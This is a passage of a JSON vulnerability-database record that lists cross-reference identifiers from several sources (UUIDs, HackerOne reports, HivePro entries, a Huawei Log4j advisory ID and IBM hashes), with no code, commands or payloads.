"4142DC43-FEB5-5B62-B8C7-B2A4DEB336A6", "42098CCD-C708-53FC-B3CD-5A8356B69359", "423CC97A-8BDD-56B9-9449-FC05A902AEC1", "4288177C-C609-5D55-A845-D6785929AB4D", "43159333-A26E-5929-A289-0C84DDCF9DEA", "43A7C9D3-EBB3-57B1-B8FB-C651B36501C2", "43CEFD04-EB9B-5765-AB94-8FF76127F1F6", "44463794-7940-582A-AFFF-676628A86A72", "444C7644-3DE2-57B2-ACF8-C2B157E07580", "44DBFE24-1B30-510A-8291-B7043C7FF654", "4557B39D-1DE6-59FA-AF6C-935E8BB15AE5", "45E71437-8181-5EB7-91BD-D6E4343DA0AB", "473FFDA9-E615-53B6-9A81-F98A1ABD700E", "47670E23-A165-5F5D-8C90-5C76DA1ADFEE", "479EB930-7609-5244-8E16-0D8689304D86", "4804958E-7699-5226-91C3-8110A4CBAB18", "48821FC8-9320-5568-88A3-9B2CC655ADAC", "4A0D603B-6526-5D1E-BADC-55B4775C354B", "4AC49DB9-A784-561B-BF92-94209310B51B", "4B070EB0-B690-5547-8809-F1A697118957", "4B1180FB-F4A3-5FCD-A8D2-65364D1EA9EC", "4B30BFBE-6FDC-5580-9C76-65EA4EBA5DAC", "4B38D813-5C4B-586B-930A-FDDD0FFF304B", "4BD74B8C-D553-57C6-AB15-6B899401AAA4", "4C6A108D-3631-56AD-8C3B-9677A228693B", "4DBC05D1-8178-5715-953D-61ECC89104F4", "4DC6D6A4-F23D-5A3D-98B8-3BB526D28144", "4F11FB83-F6EC-5ED2-B08D-9D86D6104DC7", "4F57CC9C-B908-544E-92E7-92A49DE89B00", "4F757EF2-574B-55C7-A017-51DC8BB28C31", "4FBD8560-2AEB-5AD2-9CA3-4A72DEDDE929", "51879B5C-E36F-52B7-B92C-DBA73A21F67D", "5233D0F2-69A2-5220-8016-07D66C226F01", "52BA1465-B7E9-59C1-A20F-E38A5EAE272D", "52E35A88-6217-55CC-B812-4EE83CECD8EB", "53A3C2F6-6EF2-52C1-924B-F3A9C95C2A88", "542348EC-7B83-50E0-8F9B-B6AE9968059F", "547FC254-3B26-59EC-AF4D-E5954678AC3D", "54AB8DD9-4A52-50E4-9EE2-046EBD899FFD", "54E7D93D-9216-5EDE-A4AD-8324A367E67B", "54FE5E76-EAF4-5D84-B37F-06F12A6AFF71", "553C3CC1-0126-5554-8BE0-5F577271EBF9", "55AD7FBC-06FB-5D26-A3A6-F9E9D63D45AC", "5644D9A0-3A8F-52F3-AE3E-300C79911A07", "57742B88-2AA6-5788-825F-92A73CA85718", "578E61DA-1B13-5170-9DAC-60D30F7F8C99", "58ACC402-1947-5FE3-9D08-021A4EFEC48A", "59A6FBED-4F3E-5B1E-87FF-E637492A268A", "5A5A28A1-2601-54F3-BA06-BCFF1A9DCCA5", "5ABB537C-AD08-57E9-9A29-E747D7C29DE9", "5B1D95CD-139F-5304-8B13-BB4EDD912DFA", "5B342AC3-2399-581E-BB6A-2EF19BC35B0C", "5B6C990F-05A3-5D83-83DF-386A34FB8560", "5C040112-8DE7-57AA-B52D-BDD1965D02E3", "5C116D88-E2CC-5BC3-9A71-3174292E227D", "5CEF4882-D1D5-5861-944F-34E8868BF986", "5D72C8DC-DFFD-56F3-A7AC-9FA83C48F460", "5E633D2D-95D0-5498-840F-EA92BF2C5A00", "5E9FB294-1E29-5DE8-A6F6-6D25B08A31DC", "5FB1E3FD-68C6-50CF-85EF-DBFC0B133C24", "5FC55783-FDF5-5AD8-98B2-C1CBFB4EFCCA", "5FDC1BB6-C937-5F78-BB2D-71584272E00A", "604B2FE5-9DF8-5C70-878D-2CCFAA39A6C1", "6083DCC3-CA9C-58A4-9FBC-983DF1E52584", "608B43BB-B31C-5B8A-A962-A58902AEBF2E", "61AC9232-A772-5D63-9DFC-BFE4976418C7", "62F5F8D4-29D7-5B5C-82BC-3D56E7E8D027", "634605C6-F76D-5EDD-9986-EC4EC593168D", "63500AE8-A10A-5388-B314-001A4CFBDFBD", "6413E08F-7E60-50ED-932E-527F515A6C19", "645452DF-222B-51AD-963D-DB002A1FC803", "65EB18B2-8DBB-5A70-9080-C6DA4451D7E7", "6600C311-30E5-566D-98F1-AC47E752EBEA", "67E20854-0E30-5FC1-9F24-6A60531BAFF6", "68DCAE72-CB86-55B9-9CB6-653918238C2B", "6A34D9C3-C290-5763-BAF4-F1D6351C4BA2", "6A4495E8-D723-5923-BB6A-B9EA838CF69B", "6AC0E68D-D6F7-55D9-A281-30D7E76D7556", "6BC5CBC6-5A96-5743-8FB7-CEDDF527C52A", "6CC29A1A-24F4-5961-89F9-E7B824C6F37C", "6D93189D-E2D8-5571-88D5-D778E1CB9C23", "6DA59A94-0CD1-5357-8F01-2BF3230F9017", "6F10C51B-BF15-522B-B1CB-BA95361D556E", "6F20D8B7-C252-5759-B02B-F8E2C9D42E38", "6F251270-3935-58F4-835C-C9D26FA97CD6", "6F7E4100-F6E7-5C57-8A1B-89F03DCC53A6", "6F93E170-75AD-5F5C-B7CC-6C4CEAA695AB", "700E9EFF-DFA6-504F-8DD1-FB1A62E01721", "70582B5B-E1E6-5767-94A6-39740A96A052", "70EDCB3B-9053-5056-980C-AC3123913F04", "71594B4E-D7FE-534F-8E37-71A1EE08E2E9", "71D962ED-2525-53CE-88D0-D8CD92FB0C02", "743571E7-B8EE-5E77-B047-E2E001379ACE", "75180259-16B4-5B60-9913-BFC9A306560A", "75876A50-BD9B-5991-9E42-7A343A97C890", "76E7C0B8-1EE5-543A-A48E-E3AAEAA8BFF6", "76F6F494-8855-5F94-9675-4474FFFA65A1", "77BE16D3-FEC9-51E3-ADB4-250D5BE6CBD2", "780AD920-FF08-55C6-84C8-A8536C6F5527", "7865A97A-CD10-5E45-9429-CF5F72A6952B", "78C2256A-8ABF-5E34-9268-2EEC0C09E567", "78CE8E59-092E-5214-9D02-A3F5F62F22E9", "7948E878-9BFE-5FEB-90AE-14C32290452F", "798B7BE8-4F94-5D15-A93C-CFE73333BDC5", "799DA5B7-BCF7-56C7-80E8-EAF2351D78F1", "7A3F31B5-D371-54B1-A81B-3863FBC71F0E", "7B2DA44B-D36F-56A4-B4D8-376B8D2F5586", "7B48A97D-242D-55E0-8A13-BD2727C1261F", "7B9BDDBA-81E8-5739-B3F7-419C0D6E2316", "7BB30379-8D57-5FD7-A90C-1A24B1846A23", "7BCC0C24-A1F7-531E-B1BA-342D21C9AF02", "7C8BD924-02A0-5873-B8AF-445DE0103959", "7D70E261-1C9F-517E-88BB-62776C7EE1F1", "7D82EDFA-5384-53C5-96AD-A99E88471129", "7F93036E-3036-56D2-97C5-CFAEAB8DB6F2", "8021D807-3EDC-55A7-A9ED-A364159FADEE", "817FB04E-AFFE-567B-8A2C-64C0A8923734", "81A94AF3-F3C2-5DAE-9C64-154CF9502B01", "865C5B8F-B074-5B0D-834A-E714EB00ADFC", "867C95E5-9596-5E6D-BC2F-FC7A610F3A3E", "8697646B-BC1C-5EEB-84C6-2F209E41B64E", "86CE8F3E-1859-58C8-97B5-8D53531EE22A", "87378E23-9FC7-5BA6-BA12-83E90D9581DD", "88F20430-F65B-520C-880E-FB9413D8C14F", "8ACDC1C6-CE43-5600-9F6F-644A7AD0DA2B", "8B324F0D-EA80-53B5-8ECF-EB5FC5C0EA13", "8D0CF3A6-EC3F-536C-A424-08879FF2F158", "8D604793-908D-5C35-A3EF-6D2688A10312", "8D6FB9A2-59E2-5565-A2C4-B00D9AE074CF", "8E16065C-63FB-554A-B463-A1E8582A334F", "8E1F0596-03B7-5FCC-8A29-3A8B45D02198", "8F15A064-7841-5899-84CE-8C298A269F83", "8F362564-1631-5AF9-BB38-D1BFC4678DAE", "8FB716EC-9A35-5F93-9759-B27A58B52CF8", "9227EA61-CA01-5E0A-AF8D-22B03C07A27A", "926942FE-1507-5B71-9266-0A5EDC38EE50", "9297A534-2B19-597A-8952-6EC15EE80BFF", "931205E1-36E0-52BF-A978-D4C326F6A32A", "9326CB66-BADC-5643-B118-F38C39A9E34C", "9327CBCC-5FA0-5155-9C98-3F1488EF2F57", "938D4200-A40C-5294-A146-4DF378B29573", "945E86E8-E114-5F51-991C-13742C6EF49E", "9470FC0C-FB21-50C3-B4E9-5AB439EE325C", "94966928-86D4-5285-9A57-CBDD8F2EF438", "94A8FFF1-6A48-57CB-9340-D6806F47EFA0", "94E003E0-82AE-5CFE-8818-DBA1610BDE3B", "95033F5C-FFFE-58C2-9799-C77E326ACD83", "952CB700-FA2F-5221-96B9-2656F967B63E", "958F00F1-C4FC-5213-82EA-290A530F859B", "977D06B3-F888-5FFF-8749-BF8AF7868ED6", "9790154B-5F28-5BD4-8541-6EAA8D3E2B36", "97D358EF-90F6-5D12-981B-DAFEB56F784F", "97F1C960-A343-5B1E-B261-4834CF80B790", "98F6C0C3-FC5E-5580-A148-55F2368B18C1", "99A0AA73-B93D-56EF-930D-4FD64A4F4D35", "9B0163DC-EE41-5E66-9AA8-A960262A2072", "9C874FAC-8640-5978-8C60-AF6528E5DF60", "9D8C431A-57F3-560C-8146-1232C2C029C2", "9DAC062A-CFE4-5BB0-983A-8BAB512CF589", "9E16D977-AA24-57C3-9BD1-98296F3186F5", "9E4C737D-2D3C-5A43-B638-E131903225BC", "9F3ABA17-E33A-5018-9DCB-AECDD8DE9DEE", "9FE4ADCA-7F2C-505F-AE74-C635FF2CDF75", "A19F503A-900B-5929-8182-4BD7B1043185", "A1E14906-26B2-5DF8-95E3-07736CC5DDF2", "A39E4181-7C85-5B10-B0F9-AD286D09BD2A", "A454A9CC-C18E-56A1-B166-1A0E244E0493", "A57FBD78-A654-5CEE-8291-163C8AFB7210", "A5B4FB6B-123B-544F-A4E4-46B0595C1C72", "A6308120-6A99-5D2D-A1F7-6384AC37959C", "AB5B35BD-2A55-5B27-A126-0CF1A7E7B145", "AB801839-51E0-5EFE-B00D-ABBB6391399A", "ACB6C453-F1D5-5A65-91C2-DF455B997075", "AE0FE928-3464-53AA-BBD2-B3F9E871CEDD", "AF45C6B5-246A-5363-8436-954018BD121C", "AF45D2D0-2D0E-5BD1-89DC-2E2C8E440A75", "AF93C0CA-BFDD-5C90-9D8D-55350790E1D1", "AF987350-FFD2-5814-AF7B-55862F1A8AFE", "AFC5A984-3296-5D6A-AE73-0771AF4EDAF6", "B09C4EFC-2C66-5CA8-910F-E21D17B89608", "B22E3A22-BF14-5660-977A-2D28D2AA2500", "B32ED3B3-2054-5776-B952-907BE2CBEED6", "B3DDE0DD-F0B0-542D-8154-F61DCD2E49D9", "B4A4F7BE-BF43-5BB6-A4A7-A22C6B9DDCA5", "B596B144-65DB-5863-8244-67AEE883C50E", "B6987F3B-86A1-5FDC-AD92-EAF6D264C14A", "B8D5B910-B397-520E-9526-FE32D86E93D8", "B9A69678-D96F-528D-B436-366259B4A283", "BA8F1657-CF64-574C-81BA-6432D5A351D4", "BADF55AF-60C5-5E33-BC19-5DC25FB9E196", "BD1B0180-DA8D-5255-B3FE-EB6CBC730206", "BD33CC4D-EC56-5A22-A712-1B23F8FB141D", "BE4B2B71-B588-5666-9A02-7855DBD45762", "BE66A9B6-104B-5F49-918A-8B913CE46473", "BFB49B3A-706B-5625-9899-54FCB1EE767B", "BFBBD550-B2CF-524B-87F6-D0A8980CDFD3", "C0AE83D0-09A6-58EA-A244-1E453E699C04", "C14C47DA-F04C-56CC-955A-FF12A410D2F5", "C1878361-BBB3-5A2F-8212-945883518690", "C20BAC49-21F2-5BE4-B97B-2561BD95A1A8", "C306DCEF-59B3-5147-8169-3674490BD35F", "C3153E8C-0590-5D96-8EDC-AEE7E129246E", "C3C6029E-8A78-5C0B-9CF6-51489E455464", "C3DA2A71-DD68-5EF3-AC4C-5A10DECD333B", "C3E394AB-E22C-5A6A-B5AF-2A497DDAC7BA", "C45EBEA7-DE2F-5373-9AA5-334E20EA2D23", "C5531AD4-9DFE-5A81-97D2-D34FD02E2AD6", "C640B511-D1E9-5F57-964D-3826F1C68DF8", "C6493FD0-579F-593F-A1E9-A44793F70419", "C68080B0-3163-5E76-AD65-2B454DBB95EE", "C6C5DB3A-FC0D-58BE-B769-D097420B7716", "C72759ED-7C42-593C-A3C7-94E2CDB2B105", "C7617E51-4166-5517-879D-6385309E13D8", "C76F7089-967B-5A7F-B8DA-629452876A2A", "C772DCBB-20D0-51DD-A580-F96689E65773", "C7EE8D86-B287-50F5-B8C2-05E11E510900", "C96865D9-B80D-5799-9EB6-DDF13650F0AA", "C9E3963C-74AF-51D2-ACF7-7687E92D049F", "CA408205-D32D-5A33-B1AF-0B863641C7FC", "CA625124-9F92-5FCF-83A7-3ECF5F0EBBFB", "CA8D6F85-3A73-5070-B9A0-3A47FAE2C784", "CB9B5FAA-47CA-5D85-91B9-0AC5179D527B", "CBCB527D-3C29-5E5B-8C71-D7F20AB001D0", "CBEB0168-C1C9-5A9B-8B92-83E1054E44EA", "CC4175EB-3B91-5ABB-A700-84FC1105AAD5", "CF96C0AC-16EB-57DE-B450-775CC256F1C2", "D02E385B-76D7-5BDB-A49C-CE858BEB0009", "D0B02251-DCA3-58B6-B887-D339C4EAABF9", "D107A97F-1C44-59AB-8FFE-803D1DC21EA3", "D1E393B9-589D-5A20-8799-0F762FD361DA", "D21F1D28-2C44-5969-8F84-E5C6FF67DCFC", "D2602292-4969-564A-915E-2EFC6661FA35", "D298A3C8-E215-5549-B1A0-D01215070203", "D5003B3C-B1D9-5840-816F-1AFEBCAC7FD3", "D536CD4F-33F2-570F-BA34-54E141F1132C", "D64C04EA-093F-5924-A39B-714908D4637E", "D6EE5F29-18C9-5E59-B9E2-01DC93F5ACE9", "D72095BC-06C5-50B2-8F66-EC86811783D3", "D77DEF60-6E7D-5708-B9F2-DB4EA3E38C23", "D77EE79D-71A5-51BA-9A16-DC757F86CC50", "D813949A-183D-55ED-AF64-B130B8F95A56", "D8246B9C-AC86-5FFA-AA8F-4419E4CD07F1", "D9F6E4B0-AC2C-5A70-B795-360757BE02D2", "DA01F84A-9B1D-5337-A465-2A9AB088C056", "DAB5D6B4-8A2D-58C0-835F-DA4F27B2142D", "DB81B174-C3E8-5B08-80E4-A6D768400C4A", "DBBD6963-3870-5117-A829-3DE976AE90E2", "DE88B6AE-5D54-5B49-A097-57038C720463", "DECBAC7B-9235-5E00-81C1-142CD41306FB", "DEE433F2-3A1C-513B-AE6B-E11EFFB5A8E4", "DFF2F784-9ED2-50EF-B79E-3EBF5A9B5428", "E0452D6A-51BC-51F5-9C1C-6CF01DA2805E", "E0A2EF02-5087-5522-ABA0-52F4142BB87B", "E1457E6C-87A3-5557-A3F2-175005D2A765", "E1ABFD41-98C8-576F-8509-5541B40FD442", "E1FC5745-FCD7-58AF-9F4D-65D94090BBAB", "E278D22E-7EC5-5A63-ADFC-EDEFDC650AA1", "E4103A50-881C-52BB-86CC-27F549B798E9", "E4491698-477C-599A-A65D-EBA7441764E9", "E458F533-4B97-51A1-897B-1AF58218F2BF", "E4E73A91-5275-59C0-AB2A-7F3EE83DDE28", "E5280802-AB3D-5E96-83E0-97F22FB9EACA", "E59C9A70-6F3E-5CF6-9F15-B0039E0FBAF1", "E655806B-A2A8-5BCB-A30A-0120CA3E97A6", "E6E03693-50B8-5AB4-B766-8464A228BA02", "E981B35D-7356-5A5A-963A-744545A4E51C", "E9B21C59-ED98-5B3B-A993-F1C214F8796C", "E9DFB8EA-B99D-5022-ACE6-5A42D0D6A350", "EA1AF0D9-1E6E-5080-BB7C-9D6035795FFB", "EA3173CE-C426-5047-864A-480B1A30F235", "EA3C5D7E-0CC8-5AEC-8D7F-3C245A834DDA", "EA906824-9149-507D-893C-87A7FED8998B", "EB648301-A198-5E4A-A72E-9639ED09F6C9", "EC0987E2-0001-5D63-A5AF-09675A5915BD", "EC35769F-2EAD-5464-8F97-D90F768E1E2D", "EDDA4558-9527-5BDE-86E3-23DDD0BA5443", "EE01D764-5F14-5C0A-BD77-8E32854C5216", "EFD098FC-90C8-5665-98B7-79C96C6AEBAE", "F00E8BE4-12D2-5F5B-A9AA-D627780259FB", "F14BCE6F-3415-59C7-AC9D-A5D7ABE1BB8E", "F1D342BE-E1E0-5B33-A19B-E2EB9E3E7C80", "F1E9BE6D-4024-56FB-80BB-B10ED5889144", "F208D311-79CA-5A2C-AE81-591BA4D30750", "F2F2719B-7041-5D1A-A95A-7617360B1D08", "F32DF396-0485-5F43-8A52-31B8DD252790", "F388C84A-40DA-58BC-BE0A-74C7E1712C54", "F3A40027-6DB5-509C-81CF-473DE3BEF46E", "F493C59E-F2A7-52D1-B4B5-69CD3748C5E9", "F4C136DE-892B-5921-8475-E30BD548DDBB", "F50E9F2C-8C80-5A76-A993-A3E42414D797", "F523E799-3659-532F-8EED-40AD7F79E752", "F594470D-2599-5B2E-B317-C9720581C07D", "F7994B92-2846-5644-8B68-EFB6DFB95ED2", "FB593988-2CFC-5828-8229-9274AC7B0F86", "FB65C479-F4E7-58BA-BC4A-AED04F10A11C", "FB83113C-AABD-5893-8DDE-332B57F4FDD4", "FD364396-D660-5D23-8323-23248A5108C5", "FD65F47A-0B60-5F08-BFC2-1ABD16F49781", "FE8572DF-42D4-521C-B3DC-4715C2F9240D", "FEFA5AE8-5C94-5174-B44C-AC52B9AEAEAD"]}, {"type": "hackerone", "idList": ["H1:1423496", "H1:1425474", "H1:1427589", "H1:1429014", "H1:1438393"]}, {"type": "hivepro", "idList": ["HIVEPRO:09525E3475AC1C5F429611A90182E82F", "HIVEPRO:0D02D133141B167E9F03F4AC4CA5579A", "HIVEPRO:10B372979ED5F121D7A84FB66487023E", "HIVEPRO:1825C4046C6054693C41D7D5DFD7BA10", "HIVEPRO:186D6EE394314F861D57F4243E31E975", "HIVEPRO:205916945365E4C9EB9829951A82295A", "HIVEPRO:310F7AA9457FF55D42E100B468844E6D", "HIVEPRO:5339CBE01BD312A79B81CAAEE0F3B32E", "HIVEPRO:57EAE0D1FD9EA88C12142AFF641985C3", "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "HIVEPRO:B25417250BE7F8A7BBB1186F85A865F9", "HIVEPRO:B772F2F7B4C9AE8452D1197E2E240204", "HIVEPRO:C037186E3B2166871D34825A7A6719EE", "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093", "HIVEPRO:F2305684A25C735549865536AA4254BF", "HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "huawei", "idList": ["HUAWEI-SA-20211215-01-LOG4J"]}, {"type": "ibm", "idList": ["004795EC88EC224A6BFB93940B96344B4EB9FAFDD91D056225AB0FB24FFE6CFE", "00B8C97EE29C4817481434B7FD887049A0EA42C49E5514E1877ED97B5322DB16", "00CA973D0D5F4A08ADB77D27F66CF53D661D1B67B8DA263B3CE4522918A4CFFF", "0172701FE5FE7C060372C9A6E7199B0E91A4F7E5904E7762F54202A8D4CB9759", "01C1A66F149F6CC650556CCBE7E381780D3142691366A6B6EFBC8CD5C674BD4D", "023C54E1D297D5AA9E7F44F8089DE35CB079281FA1776467BF8B7A7AD4FE252E", "03991456EAB03B09B39DC9DB5C8BE4A51167523943AA9AE61168FCD6FBACC80B", "03FB798F067FAF41EB009C69979886C89AC88567ECBC9DAD159CDC2AB547C1F7", "048C762AAACAFC74604EFAB15A41479F902FA040758DF428CB364B0242E01EE5", "04D3658F043D6F4A2AA1B2F519A7E89C112641C7C4E2E58E14BEC11BA66E803D", "053134070CB8D6609B7F157DC74146FFBCB3EBE941406A677E889C3CAF773364", "05A1D58708802BF8C1674EE32BEC4344254929330218CAD68AA838AA7F549BF7", "05BBDE1FB03AC43275CE3464D408E5E21E63D250E7B0CF0E90D314FBD5991752", "05C0F0FFAAC20F511D50030C8EC7ECBE67EB162A7352C90C63F986E1F73F829F", "05C433115EE2DEF62DD69CA7C7E97FF424FB6D815F82B8FFDD0435DD323AC60F", "05DC2B42328B1D8271D4FF358EC4A58529E6A6A6B8D7E154A691EFE1CCE81D1A", "06543959E3F80611BA94C3105900D725FA079835346EA88779BC4F272E259FC6", "06B617CF301DC9505BA9DD5DB1C356FC3A1CCF92C2BD6C1F311F6B9EB8C0F85A", "07F48EB2EFD881D21294E1AFEEE704414B9605E4B9B1F4BF6C82B1917372C2B8", "084618FE115DBC963CDA469EFDF156D77B5FAF5BE04B99575716D75AE5C42F9B", "08493CBA8B1A8F34C7786760C52C7997B8AE1C300A4CD3A03EEF9B528175E0E6", "086B39C8EEA9E80F827A72EB837BB35072FC75FA2EFB8DDEC667E6F0D07BFC82", "08803B708D4CA95FF8DD68A4DE7FBE7DEAA67387194E25D8CD693B135E7332D9", "08C5ED1F3E47E1FABE2752DAE40446E385D6C5EB30C70D7C739509CE04B06788", "08FF14BF18D2D8DEA2BCD9900A4BED9C481C9700F7CF99B6CD1B3F7EDA9C3865", "092A442A77CDFE46ED83F2F7A7AEC07007442443AE7B6D28BB557D1A8FE3BBB2", "09E2EB771A00246F88812FA7239EC135B4D760017A61975C9C7DFACAB2B566B3", "0A50FDB1D7E17C09815A2D06C237539FFD67E23789BDD9A730E5EB3DD9473349", "0A6CCE42A31E930F28AFDE0602BBBC571E0114C6DE44000B246AC3D8A844DE39", "0AE80E7D1B92F5584C0652988A6BC58F1CE1E37349CB543C23A7BCE8C2445CCD", "0B0C1C8C8CE115B4178E3F36D545ECA410D6199928FD71C89DC4DE93BB9DDD9F", "0B62A979A39E5FDD103EF50E44280DC84E1DA4B8937991D39D2F70B94DE5CDC6", "0B7D327E5943F8BAC5B2E5CC855F0062D08A51BF03FA3BB29C4B6E081796EE73", "0C1804CEEC31BC3891CD11D25C3FF5366F208C6C862263628223F5F36164CF5F", "0C5DF0032AED817AD90450244E2BACA3580BEA79A5DBA7B84BC329B4F1B22585", "0CF13F8FB4FD77C6593C265FA8F397D0C4324FC1F07F86C436B4937E98B25DBF", "0D6234D366BD8E5B02C4B7507046A503B63D0B4B38E06DEEBC5B6B98A5E2C80E", "0E0248E4E7C78DC0F137D1A675D47FF40D0F4EEB2A876D0083EA60DD92CFF303", "0FEC88A4274D91DBFBCE46AE5EAF1CC67B908E3D943BD3504E2985D9090BF93C", "0FEF4738C59C97322DBD25A9806D1EE3E131F117AF9CA9C33F3A6098A981AE66", "10DF4536D86919652FFFFF08E8AC284AF696E6684CAF921DD9F5AB335A3882A9", "10DF54AA6E02F56E5A696B90CA92AA8E0E7F033CECD731E6AF976A827BD42316", "11FEAADF6A94DFB6615A82EE0023D346C418ECD114C445A6BA52D50AA2C6FE0B", "127C76472291CDD3CB521ED83F3C5EE611A0DBD9FFDB39D76C830FEB168F09A4", "129CE78870CF5A56320BA28A8E839DC00636BEBEF434ACBBC173D76B086059A6", "12B5FC796651D7A35DCF3B8B99675B867D7E526A689762A16A5B6315936577BB", "1310B3EFA1CB8221444DBC5BA49E64CF94DE9CAEC7263EBE35877FDC59E5AC3F", "1344237EA4CB2FC0E4E886077C19B07F9DB7272438002709C5CF339D588A226A", "13F541CB7E471297DBC119C027DC6613DDB93B7E6EC8CAAB1918D4F75B9B0A25", "1449AEBCE14C7A0A52FEC9AC77DB499F51B4D1779EECBB859DE1E3343B21DE81", "1564B346628009160A0396828F83A178C5F24808FA0E2904A4DA0F9DD72C42DE", "15A287A106B845D07333D01887C3D8023917F0A2AED2934387D8904CA8A42DA3", "1629CA1DFD389EEFF25556E8C9B707086E571E474449820E949D944C6EB994C3", "1718BBC548F6B9290910114BC5C00A77714052D125CB0F46088F37430F68E717", "1827A1B8985F4A2B91EE262D4C17EF01B71CFEA86DB0A386BD1C1B098E2F4B69", "18433120583E82C639DDC6BF1D76EF365C9C500B0A9CC0AE663BA4BE32DC9232", "18578ECA481CB003C14A84CA7A47ACA060F579C24F4075A776AF26B575502960", "185EAAB4DDC8472DF44603A1F8F5361C61E9CD92D640BE3D1EC6D31AE959C4F0", "18A47CF24DAFF468D1B3E48E56A7C723BAAB5077F0C1ED2DC22653DD05320A38", "18A5E6C2581806177DE446AE26FCBC2EBB616C29B40041253F318FF51CE1AFB5", "19613990614CDAB7F34154F3A620BBF18E7F15F79F3D35FBEB7EC2FC9249AD2C", "198E2723EA7A1CE1B7B95165E39923D5EC8AC5F2D17849CEEDD3695D8CF40623", "19BDC8BC083D06551FAAFFE502D5430968A9B28E5C71827BCFA873F30BA60815", "19DD6BC826C8BB8D144E5985E9EA9E8E00533CC7AEA127F00BAC78AFBE98ED00", "1A308C90CA9D34C9787724E32DAA927E0CC6F10A74C5CF15E523AAE37176CF1C", "1AEC66B946906A8F4682C35B7C619499014756DEA99B2673B7DD17DB8DFF256D", "1B24B80EE0365FFF7DD17D658867C0FAF5A2D298D0CEFC01C750A9D3A2948965", "1C6CC8129E7AEC5C314CCFD7570FC09548438820946E9774FD2E2410C0897958", "1CF787D3495FD84D3FB0E74685765A4270075CE576D888A960036582B4F83133", "1CFF840C0308591ED858D48151909C9A66A9C154B22BCC3BCF7A195C153D3C69", "1D0962C2DB9E45A67BD8161410DDF953960E39C9E80BC2FCF317962372317FA7", "1D2ACD2E26FAAB07F4713510046DB56AE9A2584306D1B3C884E18DC47771F892", "1F4AD6C45C3008DFF01BE9EE1718E1541E761D5A4D77198ECEBE3A97CBCEF6FA", "1F6B1F3D85A0CCA59E5FCB54F755C559078C8064F36F920EB06BEDB03C8098C1", "1F7D1DABE3F10F804A14788D638556B04F5D5038E1088B9F38B3961987623815", "2042D81324560EA3A6747DAF5E2633EFD4EC3C4BB62989E7EF2C6A1F73035677", "207BA1F7EAE0F24909102A8E9F71F4E090F16E370A882E1CE68B1B6EFB5952F4", "209DDCAB6F475A868DA84DD19D31132027FF62B259B6541CA0C9859AD7CF6ED3", "226444D26451741A120880149A9CA946711043C9063C8B5E2B0A7FB4B06432D9", "231A52BDE442B2AB4C8738E8A5DA147B21BA8A7C7B8F0AE7764349AD467647ED", "23532FC7488A1E0A5525D86FA8B58841ED6086B69C02A7FBB104B3F98E2ED3CE", "23AE54815D4CF73296F6842E5DC0E74807A9DBD435A1F78F1FCEB4A6582B9613", "2554E8D81F677D7B6EBC79FCE40E258FEF8A6F105FAE62A81A45E3FA65DA6631", "256D7977365CD514F903FC0D0240FD89D47444B078D35EB3DA4DD54AAC8C8661", "261D21204C9E2060DE70CAB5932236C5EFB2EE37E8BD5A2C64CC6F1DFE9C5D11", "2709A19D29B9047D230E570EBF5F26A53D322D557D88CBCFB480F1AFEEF6797C", "28932A2B46E12EA86EB64762E53A114C7EAE97254E4818FFBB7E3706DCBD4C0F", "29D0DF01470BDC8419B05A248E7472C3D66A25942620A36BE340FC58780F85D4", "2BFA66DE8BFDD06377ECA828C11F053F870F48D77EA53F9FE38F929F24A8C66E", "2C91E3B2FEF04BCEF23F12290F03A43D58EEE4E79946072B4CD9E132F31D3891", "2E43FFB94818B9FA5C94DA88B4D321908359974CB3975DC266C2CC995ACB39F3", "2E5E4B8C9F62EA8A0096E1C9AFF46DB81567BD911FF8F4EF57BE5F2BFBB0FE98", "2F83AABA00B663AFEF63A77633BECC48724170228D80CF284B2FA6A8E71FE2F8", "3013E3EDD3900D973C5458C7115888BA961C479A9EB9DA6399CA9B389B37A68A", "30495EE9B3C48AB51AC589D2A5956D977474A3BCCB9A67B54801DEE7685C5573", "3092B1C0BAC8BA0F65979D37C5545C23B95C45DF35290A26827618ACF0E8B4E8", "30A0E9F889B3548B9BD0339A7DD9F4F3D51821FE906234D247C17BB05B831873", "30B9050919D7C39431AC5338C16936C21A40D07623E5A2722246A5F91B5C6781", "30E9FB4250193CA2C5AB02F5095C96F34F2044E06280324E18E38EEFD7C1490E", "31818542FEE3EBA05F196E3245AADB3A27506A9391A7E39DC666A3A5AAEE4963", "3220BFD68D0CE5B97E4EC49AFAD94FC9317DA5DFDBD73C624B022C3E93AC4268", "342C70DE6943237DCB4E2BCA66A117A8AC4A929DA3631A2BB88E27D99C1A1F68", "34A1BC83BF19906C7B478BA74801364559DCACB160B8635E7EB96D184FEF89D3", "37DEA24D462A4FBAFF5F635701ADD4D7975920B040324F41A7D2C11D55FA659E", "37E4288762F4137CCB40EAF6740BA95099EFFDB0B7C1A2F36DD293FE994929E5", "37EB0FBFC18EAA8CBA405BA4A0486007287891F661D591E70F8DFD893065763F", "382442D01890BE0F397DB0132A6B09339C6A137724C837A5E2907ACB61EA374D", "3828A20846DAD245008B2B65E98D8C5488EDD3BEE6195D59400F18E61B82C570", "393A985D4478230C9D2C42E9A4B6209E9A8A450BC8302073A121E3B160C57EFB", "3976D01F8C3788737A665B8B2C67DBBC91A5E249602308AB620D7FB7082293F3", "39C439A440712A8825FAF249AE9256D154F422331B554EA4FEF0A1953F90EEE0", "3DD98F75D577A590F9C6B1044AA5212C3724660A7C7FB06B6DA4B25B95BAE35A", "3E89F6F868ACED4017A55BB54A40658D10E6704003F50ACBCE289C1637B41045", "3F108F67BF1C0CDF3357048A55D6F542375A28F355F9359FDBF6A3EA00B3BE23", "3F22D484EEB21B0ECFBCEC72BC808CC13691870E90AFA5724963DAB7B31EAE45", "3F4820A3C64022355AE6B658B22CB04D75AF98980AA0D9E31E518E440502939E", "40793F706E8E7D40E73D53F66523BA8AE8718C40C00FCEF117CE8DEAC4566FD6", "4204EAC341D63510AAFE13D5F22BA14E92396D43569176E371BFB452611D1A97", "4271B86469CFCE465E783BEC3C9F3EDD13D645F55A5BEB697F3A4FCF694E568B", "42CCD08061313E58CD6A73C8392806C80452EF564A9B5297EAD78887E47150D7", "42E2A358194D10969A587E1619263DAF26CB9ED7B107D2DF24882326792073A6", "42EDAFE6D8936EF20A9D2196EA720167F87C6E003FF3677093C777BD76F87321", "4444CE19278AF3B6D6D733CB7C56652494A379ADDF5788A2D704DCF2AF8B12B6", 